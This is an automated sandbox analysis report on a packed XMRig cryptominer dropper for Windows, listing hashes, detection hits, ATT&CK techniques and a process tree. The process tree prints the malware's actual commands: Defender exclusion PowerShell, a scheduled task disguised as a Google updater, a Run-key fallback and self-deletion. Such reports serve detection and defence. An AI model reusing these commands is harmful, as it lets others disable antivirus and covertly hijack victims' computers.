xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1800s
max time network
1792s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
31/05/2023, 16:56

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1720 created 1212	1720	qM5GMXBk6hJE6Y5e.exe	16
PID 1720 created 1212	1720	qM5GMXBk6hJE6Y5e.exe	16
PID 1720 created 1212	1720	qM5GMXBk6hJE6Y5e.exe	16
PID 1720 created 1212	1720	qM5GMXBk6hJE6Y5e.exe	16
PID 1372 created 1212	1372	updater.exe	16
PID 1372 created 1212	1372	updater.exe	16
PID 1372 created 1212	1372	updater.exe	16
PID 1372 created 1212	1372	updater.exe	16
PID 1668 created 1212	1668	conhost.exe	16
PID 1372 created 1212	1372	updater.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/560-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-142-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-146-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-148-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-150-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/560-169-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
908	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1372	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
800	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/560-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-142-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-146-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-148-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-150-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/560-169-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1372 set thread context of 1668	1372	updater.exe	46
PID 1372 set thread context of 560	1372	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1664	schtasks.exe
1812	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 900a3b5df493d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1720	qM5GMXBk6hJE6Y5e.exe
1720	qM5GMXBk6hJE6Y5e.exe
1584	powershell.exe
1720	qM5GMXBk6hJE6Y5e.exe
1720	qM5GMXBk6hJE6Y5e.exe
1000	powershell.exe
1720	qM5GMXBk6hJE6Y5e.exe
1720	qM5GMXBk6hJE6Y5e.exe
1720	qM5GMXBk6hJE6Y5e.exe
1720	qM5GMXBk6hJE6Y5e.exe
1232	powershell.exe
1372	updater.exe
1372	updater.exe
1260	powershell.exe
1372	updater.exe
1372	updater.exe
1944	powershell.exe
1372	updater.exe
1372	updater.exe
1372	updater.exe
1372	updater.exe
1668	conhost.exe
1668	conhost.exe
1372	updater.exe
1372	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	1372	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1604	WMIC.exe
Token: SeSecurityPrivilege	1604	WMIC.exe
Token: SeTakeOwnershipPrivilege	1604	WMIC.exe
Token: SeLoadDriverPrivilege	1604	WMIC.exe
Token: SeSystemtimePrivilege	1604	WMIC.exe
Token: SeBackupPrivilege	1604	WMIC.exe
Token: SeRestorePrivilege	1604	WMIC.exe
Token: SeShutdownPrivilege	1604	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1604	WMIC.exe
Token: SeUndockPrivilege	1604	WMIC.exe
Token: SeManageVolumePrivilege	1604	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1604	WMIC.exe
Token: SeSecurityPrivilege	1604	WMIC.exe
Token: SeTakeOwnershipPrivilege	1604	WMIC.exe
Token: SeLoadDriverPrivilege	1604	WMIC.exe
Token: SeSystemtimePrivilege	1604	WMIC.exe
Token: SeBackupPrivilege	1604	WMIC.exe
Token: SeRestorePrivilege	1604	WMIC.exe
Token: SeShutdownPrivilege	1604	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1604	WMIC.exe
Token: SeUndockPrivilege	1604	WMIC.exe
Token: SeManageVolumePrivilege	1604	WMIC.exe
Token: SeLockMemoryPrivilege	560	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 1664	1000	powershell.exe	32
PID 1000 wrote to memory of 1664	1000	powershell.exe	32
PID 1000 wrote to memory of 1664	1000	powershell.exe	32
PID 908 wrote to memory of 1556	908	cmd.exe	37
PID 908 wrote to memory of 1556	908	cmd.exe	37
PID 908 wrote to memory of 1556	908	cmd.exe	37
PID 1232 wrote to memory of 1384	1232	powershell.exe	38
PID 1232 wrote to memory of 1384	1232	powershell.exe	38
PID 1232 wrote to memory of 1384	1232	powershell.exe	38
PID 800 wrote to memory of 1372	800	taskeng.exe	40
PID 800 wrote to memory of 1372	800	taskeng.exe	40
PID 800 wrote to memory of 1372	800	taskeng.exe	40
PID 1944 wrote to memory of 1812	1944	powershell.exe	45
PID 1944 wrote to memory of 1812	1944	powershell.exe	45
PID 1944 wrote to memory of 1812	1944	powershell.exe	45
PID 1372 wrote to memory of 1668	1372	updater.exe	46
PID 368 wrote to memory of 1604	368	cmd.exe	51
PID 368 wrote to memory of 1604	368	cmd.exe	51
PID 368 wrote to memory of 1604	368	cmd.exe	51
PID 1372 wrote to memory of 560	1372	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1664
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1812
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1668
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:896
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:560

C:\Windows\system32\taskeng.exe
taskeng.exe {E0658B7E-28E3-46A1-9B2D-263F3EFAB71C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:800
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6f9bceb71e68a48b6302140f742d6dce

SHA1
49ce1164d76124f7abd4365ac1d86c968e85845a

SHA256
f579017f8d6d78cf803575a6c9de3ec5ba5032c46fe2bfa94c303b9345f980d0

SHA512
39a56ff9cfc8fb70b51442740b82317e981e0539abdf746e74c09222cf86042411a7ab7278d8e3ced1a05b03624a7c40aa8c5bc01a5872ddbd13b2030e0beb6e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6f9bceb71e68a48b6302140f742d6dce

SHA1
49ce1164d76124f7abd4365ac1d86c968e85845a

SHA256
f579017f8d6d78cf803575a6c9de3ec5ba5032c46fe2bfa94c303b9345f980d0

SHA512
39a56ff9cfc8fb70b51442740b82317e981e0539abdf746e74c09222cf86042411a7ab7278d8e3ced1a05b03624a7c40aa8c5bc01a5872ddbd13b2030e0beb6e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M2WKY8MDIDFYCW62O3H6.temp

Filesize
7KB

MD5
6f9bceb71e68a48b6302140f742d6dce

SHA1
49ce1164d76124f7abd4365ac1d86c968e85845a

SHA256
f579017f8d6d78cf803575a6c9de3ec5ba5032c46fe2bfa94c303b9345f980d0

SHA512
39a56ff9cfc8fb70b51442740b82317e981e0539abdf746e74c09222cf86042411a7ab7278d8e3ced1a05b03624a7c40aa8c5bc01a5872ddbd13b2030e0beb6e

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/560-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-169-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-150-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-148-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-146-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-144-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-142-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-140-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-138-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-100-0x00000000006F0000-0x0000000000710000-memory.dmp

Filesize
128KB

Download
memory/560-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-108-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/560-109-0x0000000000890000-0x00000000008B0000-memory.dmp

Filesize
128KB

Download
memory/560-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-113-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/560-114-0x0000000000890000-0x00000000008B0000-memory.dmp

Filesize
128KB

Download
memory/560-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/560-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1000-71-0x00000000023EB000-0x0000000002422000-memory.dmp

Filesize
220KB

Download
memory/1000-70-0x00000000023E4000-0x00000000023E7000-memory.dmp

Filesize
12KB

Download
memory/1000-69-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1000-68-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

Filesize
2.9MB

Download
memory/1232-80-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1232-81-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1232-82-0x000000000286B000-0x00000000028A2000-memory.dmp

Filesize
220KB

Download
memory/1260-89-0x0000000000F2B000-0x0000000000F62000-memory.dmp

Filesize
220KB

Download
memory/1260-88-0x0000000000F24000-0x0000000000F27000-memory.dmp

Filesize
12KB

Download
memory/1372-99-0x000000013FC20000-0x000000013FE31000-memory.dmp

Filesize
2.1MB

Download
memory/1372-86-0x000000013FC20000-0x000000013FE31000-memory.dmp

Filesize
2.1MB

Download
memory/1584-62-0x00000000025EB000-0x0000000002622000-memory.dmp

Filesize
220KB

Download
memory/1584-61-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/1584-60-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/1584-59-0x000000001B070000-0x000000001B352000-memory.dmp

Filesize
2.9MB

